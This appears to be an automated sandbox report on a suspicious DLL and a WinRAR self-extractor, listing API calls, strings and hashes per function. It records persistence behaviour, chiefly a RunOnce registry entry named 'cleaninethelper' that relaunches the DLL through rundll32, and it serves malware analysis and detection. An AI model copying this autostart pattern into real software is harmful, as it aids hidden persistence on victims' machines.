strchr.MSVCRT ref: 6E2B16C0
strlen.MSVCRT ref: 6E2B16D1
mbstowcs.MSVCRT ref: 6E2B16DF
wcscat.MSVCRT ref: 6E2B1719
wcscpy.MSVCRT ref: 6E2B1729
wcscat.MSVCRT ref: 6E2B173B
wcscat.MSVCRT ref: 6E2B1759
wcslen.MSVCRT ref: 6E2B1773
calloc.MSVCRT ref: 6E2B1783
memcpy.MSVCRT ref: 6E2B1794
memset.MSVCRT ref: 6E2B17A2
SHFileOperationW.SHELL32(?), ref: 6E2B17C2
free.MSVCRT(00000000), ref: 6E2B17C9
Sleep.KERNEL32(00030D40), ref: 6E2B17D5
ExitProcess.KERNEL32 ref: 6E2B17EB

Strings

\status.dat, xrefs: 6E2B1735
\Microsoft\Windows\InetHelper.status, xrefs: 6E2B1753
verpostfix=, xrefs: 6E2B16AA
\WindowsNetService, xrefs: 6E2B1713
statusdat=, xrefs: 6E2B1688

Memory Dump Source

Source File: 00000001.00000002.2143507846.000000006E2B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E2B0000, based on PE: true

Associated: 00000001.00000002.2143479302.000000006E2B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143530843.000000006E2B2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143553178.000000006E2B4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6e2b0000_rundll32.jbxd

Similarity

API ID: wcscat$mbstowcsstrstr$ExitFileOperationProcessSleepcallocfreememcpymemsetstrchrstrlenwcscpywcslen
String ID: \Microsoft\Windows\InetHelper.status$\WindowsNetService$\status.dat$statusdat=$verpostfix=
API String ID: 213091988-3107139697
Opcode ID: 48c07b4dc05c950904db3cd48a96635f2074178589f5463a5753cfe9d8f77e3f
Instruction ID: 5392656ee301a0b591adb3bf5cc06b80db6f191c3f1b71b5896e20a38430d03f
Opcode Fuzzy Hash: 48c07b4dc05c950904db3cd48a96635f2074178589f5463a5753cfe9d8f77e3f
Instruction Fuzzy Hash: 3E418FB3C0171DABDB10ABE0DC0CADE776EEF15299F040955E905A7140EBB49A88CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 6E2B124B Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 87
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00000104,?), ref: 6E2B1269
RegCreateKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 6E2B128F
wcscpy.MSVCRT ref: 6E2B12AA
wcscat.MSVCRT ref: 6E2B12C4
wcscat.MSVCRT ref: 6E2B12D2
wcscat.MSVCRT ref: 6E2B12EC
wcscat.MSVCRT ref: 6E2B12FA
wcscat.MSVCRT ref: 6E2B1314
wcscat.MSVCRT ref: 6E2B1322
wcslen.MSVCRT ref: 6E2B132E
RegSetValueExW.KERNEL32(?,cleaninethelper,00000000,00000001,?,00000000), ref: 6E2B1351
RegCloseKey.KERNEL32(?), ref: 6E2B135F

Strings

rundll32 ", xrefs: 6E2B12A4
cleaninethelper, xrefs: 6E2B1349
verpostfix=, xrefs: 6E2B130E
",Start, xrefs: 6E2B12CC
statusdat=, xrefs: 6E2B12E6
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 6E2B1285

Memory Dump Source

Source File: 00000001.00000002.2143507846.000000006E2B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E2B0000, based on PE: true

Associated: 00000001.00000002.2143479302.000000006E2B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143530843.000000006E2B2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143553178.000000006E2B4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6e2b0000_rundll32.jbxd

Similarity

API ID: wcscat$CloseCreateFileModuleNameValuewcscpywcslen
String ID: statusdat=$ verpostfix=$",Start$Software\Microsoft\Windows\CurrentVersion\RunOnce$cleaninethelper$rundll32 "
API String ID: 411374443-3287171265
Opcode ID: 199666a5296ffb6bee18e4474c69ef9014b24be764a6f650e258453f96ff6739
Instruction ID: cc46abe5e76747173ffaee154e84072ebed0e48ee8437a4e908e6f6ca91dfa36
Opcode Fuzzy Hash: 199666a5296ffb6bee18e4474c69ef9014b24be764a6f650e258453f96ff6739
Instruction Fuzzy Hash: 9321FCF3D0061DABDF20AAA48D4CEDE767EEF85398F0545A1F609E3101E6709684CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 6E2B11A6 Relevance: 13.6, APIs: 9, Instructions: 72
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,759BA130,?,6E2B176C), ref: 6E2B11BF
GetFileSize.KERNEL32(00000000,00000000,?,?,759BA130,?,6E2B176C), ref: 6E2B11CF
malloc.MSVCRT ref: 6E2B11DE
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,759BA130,?,6E2B176C), ref: 6E2B11EC
CloseHandle.KERNEL32(00000000,?,?,759BA130,?,6E2B176C), ref: 6E2B11F7
CreateFileW.KERNEL32(00000002,40000000,00000000,00000000,00000002,00000080,00000000,?,?,759BA130,?,6E2B176C), ref: 6E2B1210
WriteFile.KERNEL32(00000000,00000000,00000000,759BA130,00000000,?,?,759BA130,?,6E2B176C), ref: 6E2B1226
free.MSVCRT(00000000,?,?,759BA130,?,6E2B176C), ref: 6E2B1235
CloseHandle.KERNEL32(00000000,?,?,759BA130,?,6E2B176C), ref: 6E2B123E

Memory Dump Source

Source File: 00000001.00000002.2143507846.000000006E2B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E2B0000, based on PE: true

Associated: 00000001.00000002.2143479302.000000006E2B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143530843.000000006E2B2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143553178.000000006E2B4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6e2b0000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandle$ReadSizeWritefreemalloc
String ID:
API String ID: 1056976453-0
Opcode ID: 7cc33332ca552ac87de779690bfeae399ea0cce8278fe43da3c73a4e9ff5a12b
Instruction ID: 8bac0053718fadbb44ffb77b3472341b0a568a9ab1a8439c01d61c597479fe7b
Opcode Fuzzy Hash: 7cc33332ca552ac87de779690bfeae399ea0cce8278fe43da3c73a4e9ff5a12b
Instruction Fuzzy Hash: 5311A3B21016257FD62016319C8CF7B3E6EEF9B6F9F100A19F516D20D0D6B05806C670

Uniqueness

Uniqueness Score: -1.00%

Function 6E2B136B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,000F003F,?,00000000,?,?,6E2B17E9), ref: 6E2B1386
RegDeleteValueW.KERNEL32(?,cleaninethelper,?,?,6E2B17E9), ref: 6E2B1398
RegCloseKey.ADVAPI32(?,?,?,6E2B17E9), ref: 6E2B13A9

Strings

cleaninethelper, xrefs: 6E2B1390
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 6E2B137C

Memory Dump Source

Source File: 00000001.00000002.2143507846.000000006E2B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E2B0000, based on PE: true

Associated: 00000001.00000002.2143479302.000000006E2B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143530843.000000006E2B2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143553178.000000006E2B4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6e2b0000_rundll32.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$cleaninethelper
API String ID: 849931509-2845002033
Opcode ID: 5e461e220981720a025537d241a22a407062a436933ac891181b06fd5f466a04
Instruction ID: 287e4d0d0495d079d205ed6ff19a5cf0ab8cb9d3f164472610b8c5e86ff409dd
Opcode Fuzzy Hash: 5e461e220981720a025537d241a22a407062a436933ac891181b06fd5f466a04
Instruction Fuzzy Hash: 37E041B2A10719BBDF1557E1CC0DF6E796EDF155997000415B902E7115D571D900D6A0

Uniqueness

Uniqueness Score: -1.00%

Function 6E2B116D Relevance: 4.5, APIs: 3, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(6E2B20F0,00000000,00000000,?,?,6E2B20F0,?,6E2B1707), ref: 6E2B117D
wcscpy.MSVCRT ref: 6E2B118B
CoTaskMemFree.OLE32(?), ref: 6E2B1196

Memory Dump Source

Source File: 00000001.00000002.2143507846.000000006E2B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E2B0000, based on PE: true

Associated: 00000001.00000002.2143479302.000000006E2B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143530843.000000006E2B2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143553178.000000006E2B4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6e2b0000_rundll32.jbxd

Similarity

API ID: FolderFreeKnownPathTaskwcscpy
String ID:
API String ID: 993388247-0
Opcode ID: 43a2c8fac6c582c620219f2603b6b1f11a451d7bf3864be773f3ad0fa035f4d2
Instruction ID: 67010ad055691dc63026c32773ba868dc8088cc2b8f4d95e67edcdf4b6a2af34
Opcode Fuzzy Hash: 43a2c8fac6c582c620219f2603b6b1f11a451d7bf3864be773f3ad0fa035f4d2
Instruction Fuzzy Hash: 5DE048B2974208FFEB045760DC09F9A7AADDF45259F100454F412D5080E6B1AE40D674

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: run.exePID: 7680, Parent PID: 7572COMMON

Execution Graph

Execution Coverage:	13.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00007FF75FBAF730 Relevance: 98.7, APIs: 45, Strings: 11, Instructions: 671
windowfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75FB913C0: GetDlgItem.USER32 ref: 00007FF75FB91410
Part of subcall function 00007FF75FB913C0: SetDlgItemTextW.USER32 ref: 00007FF75FB9142C

SetDlgItemTextW.USER32 ref: 00007FF75FBAF855
GetMessageW.USER32 ref: 00007FF75FBAF881
IsDialogMessageW.USER32 ref: 00007FF75FBAF896
TranslateMessage.USER32 ref: 00007FF75FBAF8A4
DispatchMessageW.USER32 ref: 00007FF75FBAF8AE
GetDlgItemTextW.USER32 ref: 00007FF75FBAF8CE
EndDialog.USER32 ref: 00007FF75FBAF8FA
GetDlgItem.USER32 ref: 00007FF75FBAF924
IsDlgButtonChecked.USER32 ref: 00007FF75FBAF945
IsDlgButtonChecked.USER32 ref: 00007FF75FBAF95D

Part of subcall function 00007FF75FBB17CC: wcscpy.LIBCMT ref: 00007FF75FBB1848

Part of subcall function 00007FF75FB9FDF8: LoadStringW.USER32 ref: 00007FF75FB9FE7F
Part of subcall function 00007FF75FB9FDF8: LoadStringW.USER32 ref: 00007FF75FB9FE98

SetFocus.USER32 ref: 00007FF75FBAF966
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBAF9C0
GetLastError.KERNEL32 ref: 00007FF75FBAFA01
GetLastError.KERNEL32 ref: 00007FF75FBAFA25
GetTickCount.KERNEL32 ref: 00007FF75FBAFA43
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBAFA5A
GetLastError.KERNEL32 ref: 00007FF75FBAFA89
GetModuleFileNameW.KERNEL32 ref: 00007FF75FBAFAD5
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBAFB17
CreateFileMappingW.KERNEL32 ref: 00007FF75FBAFB8C
GetCommandLineW.KERNEL32 ref: 00007FF75FBAFBA5
MapViewOfFile.KERNEL32 ref: 00007FF75FBAFC21
Sleep.KERNEL32 ref: 00007FF75FBAFC8F
UnmapViewOfFile.KERNEL32 ref: 00007FF75FBAFCB4
CloseHandle.KERNEL32 ref: 00007FF75FBAFCBD
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBAFCF5
SetDlgItemTextW.USER32 ref: 00007FF75FBAFD6B
SetDlgItemTextW.USER32 ref: 00007FF75FBAFD90
GetDlgItem.USER32 ref: 00007FF75FBAFD9E
GetWindowLongPtrW.USER32 ref: 00007FF75FBAFDB8
SetWindowLongPtrW.USER32 ref: 00007FF75FBAFDCC
SetDlgItemTextW.USER32 ref: 00007FF75FBAFEA6
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBAFF21
IsDlgButtonChecked.USER32 ref: 00007FF75FBAFF77
SendDlgItemMessageW.USER32 ref: 00007FF75FBAFF9E
GetDlgItem.USER32 ref: 00007FF75FBAFFAC
IsDlgButtonChecked.USER32 ref: 00007FF75FBAFFC6
GetDlgItem.USER32 ref: 00007FF75FBAFFE5
SetDlgItemTextW.USER32 ref: 00007FF75FBB000B
SetDlgItemTextW.USER32 ref: 00007FF75FBB008B
SetDlgItemTextW.USER32 ref: 00007FF75FBB00A3
DialogBoxParamW.USER32 ref: 00007FF75FBB0166
EnableWindow.USER32 ref: 00007FF75FBB025D
IsDlgButtonChecked.USER32 ref: 00007FF75FBB02AF
SetDlgItemTextW.USER32 ref: 00007FF75FBB02D8

Strings

LICENSEDLG, xrefs: 00007FF75FBB0158
STARTDLG, xrefs: 00007FF75FBAF771
%s, xrefs: 00007FF75FBAFF17
p, xrefs: 00007FF75FBAFB1C
C:\Users\user\AppData\Local\Temp\7zS49DD90FA, xrefs: 00007FF75FBAFB5C
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF75FBAFB04
winrarsfxmappingfile.tmp, xrefs: 00007FF75FBAFB68
__tmp_rar_sfx_access_check_%u, xrefs: 00007FF75FBAFA4C
"%s"%s, xrefs: 00007FF75FBAFCE2
@, xrefs: 00007FF75FBAFB24
runas, xrefs: 00007FF75FBAFB31

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Item$Text$ButtonCheckedMessageswprintf$File$DialogErrorLastWindow$LoadLongStringView$CloseCommandCountCreateDispatchEnableFocusHandleLineMappingModuleNameParamSendSleepTickTranslateUnmapwcscpy
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$@$C:\Users\user\AppData\Local\Temp\7zS49DD90FA$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$p$runas$winrarsfxmappingfile.tmp
API String ID: 1377943202-88273296
Opcode ID: 959ec2e3c6c340ac9f8615344b3a6b339079ba82ea2973b9d65de183914b3949
Instruction ID: 34dc9724fade48506b263d75f7beb73a6a027fd25cfd669b48d0037215533ceb
Opcode Fuzzy Hash: 959ec2e3c6c340ac9f8615344b3a6b339079ba82ea2973b9d65de183914b3949
Instruction Fuzzy Hash: A862AE64E0D6C3C6FB24BB31E9502FAA7A5AF45BC4FCC0139D94D076A6DE3CA5098361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB08E0 Relevance: 53.3, APIs: 21, Strings: 9, Instructions: 833registryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FBAF118: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF75FBAF1F1

RegOpenKeyExW.ADVAPI32 ref: 00007FF75FBB0C4B
RegQueryValueExW.ADVAPI32 ref: 00007FF75FBB0C88
RegCloseKey.ADVAPI32 ref: 00007FF75FBB0C93

Part of subcall function 00007FF75FBA3D70: CompareStringW.KERNEL32(?,?,00007FF75FB9D2B8), ref: 00007FF75FBA3D8F

GetDlgItem.USER32 ref: 00007FF75FBB0D76
SetDlgItemTextW.USER32 ref: 00007FF75FBB0D86
IsDlgButtonChecked.USER32 ref: 00007FF75FBB0D9A
IsDlgButtonChecked.USER32 ref: 00007FF75FBB0DC3
SetDlgItemTextW.USER32 ref: 00007FF75FBB0DE1
wcscat.LIBCMT ref: 00007FF75FBB0E0F
wcscat.LIBCMT ref: 00007FF75FBB0E95
SetFileAttributesW.KERNEL32(00000000,?,00000000,00000000,?,00000001,?,?,00007FF75FBB00C8), ref: 00007FF75FBB0F54
GetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000001,?,?,00007FF75FBB00C8), ref: 00007FF75FBB101C
DeleteFileW.KERNEL32(?,00000000,00000000,?,00000001,?,?,00007FF75FBB00C8), ref: 00007FF75FBB102D
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBB105F
GetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000001,?,?,00007FF75FBB00C8), ref: 00007FF75FBB106B
MoveFileW.KERNEL32 ref: 00007FF75FBB1083
MoveFileExW.KERNEL32(?,00000000,00000000,?,00000001,?,?,00007FF75FBB00C8), ref: 00007FF75FBB109A
GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00000001,?,?,00007FF75FBB00C8), ref: 00007FF75FBB10EC
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBB113C
SetDlgItemTextW.USER32 ref: 00007FF75FBB1158
EndDialog.USER32 ref: 00007FF75FBB1255

Strings

ProgramFilesDir, xrefs: 00007FF75FBB0C7C
MAX, xrefs: 00007FF75FBB0A9D
.lnk, xrefs: 00007FF75FBB15FD, 00007FF75FBB1616
<br>, xrefs: 00007FF75FBB0E08
%s.%d.tmp, xrefs: 00007FF75FBB104C
MIN, xrefs: 00007FF75FBB0AB3
HIDE, xrefs: 00007FF75FBB0A87
%s%s%u, xrefs: 00007FF75FBB112D
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF75FBB0C3D

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: File$Item$AttributesText$ButtonCheckedMoveswprintfwcscat$CloseCompareDeleteDialogEnvironmentExpandOpenPathQueryStringStringsTempValue
String ID: %s%s%u$%s.%d.tmp$.lnk$<br>$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2559350931-2038501859
Opcode ID: f128066c9a7e88468d207f8392582c3a5e4d09d75c8970ceb165e7de9b4ce247
Instruction ID: 63a1909dde3bed571a7bd5fecb133b932379a0418ba7e0fcd7dcbfe881686210
Opcode Fuzzy Hash: f128066c9a7e88468d207f8392582c3a5e4d09d75c8970ceb165e7de9b4ce247
Instruction Fuzzy Hash: 0D825C62A186C3D9EB31BB31D8402FDA365FF40784FC84136D94D47A99EE6CEA45C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9FA1C Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 245
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FB9FA62

Part of subcall function 00007FF75FBA3B98: WideCharToMultiByte.KERNEL32 ref: 00007FF75FBA3BC9

SetDlgItemTextW.USER32 ref: 00007FF75FB9FAD1
GetWindowRect.USER32 ref: 00007FF75FB9FB0B
GetClientRect.USER32 ref: 00007FF75FB9FB19
GetWindowLongPtrW.USER32 ref: 00007FF75FB9FBCC
GetWindowRect.USER32 ref: 00007FF75FB9FC12
SetDlgItemTextW.USER32 ref: 00007FF75FB9FC4E
GetSystemMetrics.USER32 ref: 00007FF75FB9FC59
GetWindow.USER32 ref: 00007FF75FB9FC6A
GetWindowRect.USER32 ref: 00007FF75FB9FCA8
GetWindow.USER32 ref: 00007FF75FB9FD6A

Strings

CAPTION, xrefs: 00007FF75FB9FC31
$%s:, xrefs: 00007FF75FB9FA55

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Window$Rect$ItemText$ByteCharClientLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 1936833115-404845831
Opcode ID: 72e7e3ee6b17742e4cb2673df9a41092cb36fe08a2d3d22740af7c269679d036
Instruction ID: 00a3044e3a1c4356180e49b4488a0a4e20b4d767e0b9249c9a3166a89e09a9e5
Opcode Fuzzy Hash: 72e7e3ee6b17742e4cb2673df9a41092cb36fe08a2d3d22740af7c269679d036
Instruction Fuzzy Hash: 1891D972B1868287E714DF39E9406AAE7A1FB84784F885135EE4D47B98CF3CE805CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9B8F8 Relevance: 7.6, APIs: 5, Instructions: 93
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF75FB9B79F), ref: 00007FF75FB9B93D
FindFirstFileW.KERNEL32 ref: 00007FF75FB9B96E
GetLastError.KERNEL32 ref: 00007FF75FB9B97D
FindNextFileW.KERNEL32(?,00007FF75FB9B79F), ref: 00007FF75FB9B9A4
GetLastError.KERNEL32 ref: 00007FF75FB9B9B2

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 03fc193e635db437b7016961caeff27e2e61dad9e90c9a20ddae6e7681612538
Instruction ID: d9aaa77ebb12bef8d5819c31c9030c4b265b5a37338482d8f13b4cce366c6dda
Opcode Fuzzy Hash: 03fc193e635db437b7016961caeff27e2e61dad9e90c9a20ddae6e7681612538
Instruction Fuzzy Hash: 0C416072618AC1D6DA24AB35D5402E9A3A0FB48BE0F884332EBBD437C5CF7CD6558710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB936C8 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 514
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMT, xrefs: 00007FF75FB93E95
hc%u, xrefs: 00007FF75FB93B66
h%u, xrefs: 00007FF75FB93B0E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID:
String ID: CMT$h%u$hc%u
API String ID: 0-3282847064
Opcode ID: 980b5d6b2f8bde9131efd3dc6bf85e029cd2c5184a27bdaf7718a0e781562d44
Instruction ID: 47f72a16a76211b7a00a2a9b5bbf51c6c9816f704979a22ee73988ecb30b17bd
Opcode Fuzzy Hash: 980b5d6b2f8bde9131efd3dc6bf85e029cd2c5184a27bdaf7718a0e781562d44
Instruction Fuzzy Hash: BA32E362B0C6C2E6EB08EB70D6552FDA7A5FB40B44F8C0236DB4D43686DF68E564C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA2378 Relevance: 154.4, APIs: 22, Strings: 66, Instructions: 354
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF75FBA23AF
GetProcAddress.KERNEL32 ref: 00007FF75FBA23C7
GetProcAddress.KERNEL32 ref: 00007FF75FBA23F4
GetModuleFileNameW.KERNEL32 ref: 00007FF75FBA2728
CreateFileW.KERNEL32 ref: 00007FF75FBA2753
SetFilePointer.KERNEL32 ref: 00007FF75FBA2771
ReadFile.KERNEL32 ref: 00007FF75FBA2797
CloseHandle.KERNEL32 ref: 00007FF75FBA27F2
GetModuleFileNameW.KERNEL32 ref: 00007FF75FBA2804

Part of subcall function 00007FF75FB9C108: GetVersionExW.KERNEL32 ref: 00007FF75FB9C127

CompareStringW.KERNELBASE ref: 00007FF75FBA2867
GetFileAttributesW.KERNELBASE ref: 00007FF75FBA2891
GetFileAttributesW.KERNEL32 ref: 00007FF75FBA28DE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBA2966
ExitProcess.KERNEL32 ref: 00007FF75FBA2A28

Part of subcall function 00007FF75FBA2320: GetSystemDirectoryW.KERNEL32 ref: 00007FF75FBA233C

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBA29BF
AllocConsole.KERNEL32 ref: 00007FF75FBA29C4
GetCurrentProcessId.KERNEL32 ref: 00007FF75FBA29CE
AttachConsole.KERNEL32 ref: 00007FF75FBA29D6
GetStdHandle.KERNEL32 ref: 00007FF75FBA29F0
WriteConsoleW.KERNEL32 ref: 00007FF75FBA2A0F
Sleep.KERNEL32 ref: 00007FF75FBA2A1A
FreeConsole.KERNEL32 ref: 00007FF75FBA2A20

Strings

ws2_32.dll, xrefs: 00007FF75FBA249E
wkscli.dll, xrefs: 00007FF75FBA2651
shell32.dll, xrefs: 00007FF75FBA2543
sfc_os.dll, xrefs: 00007FF75FBA2425
ieframe.dll, xrefs: 00007FF75FBA24BF
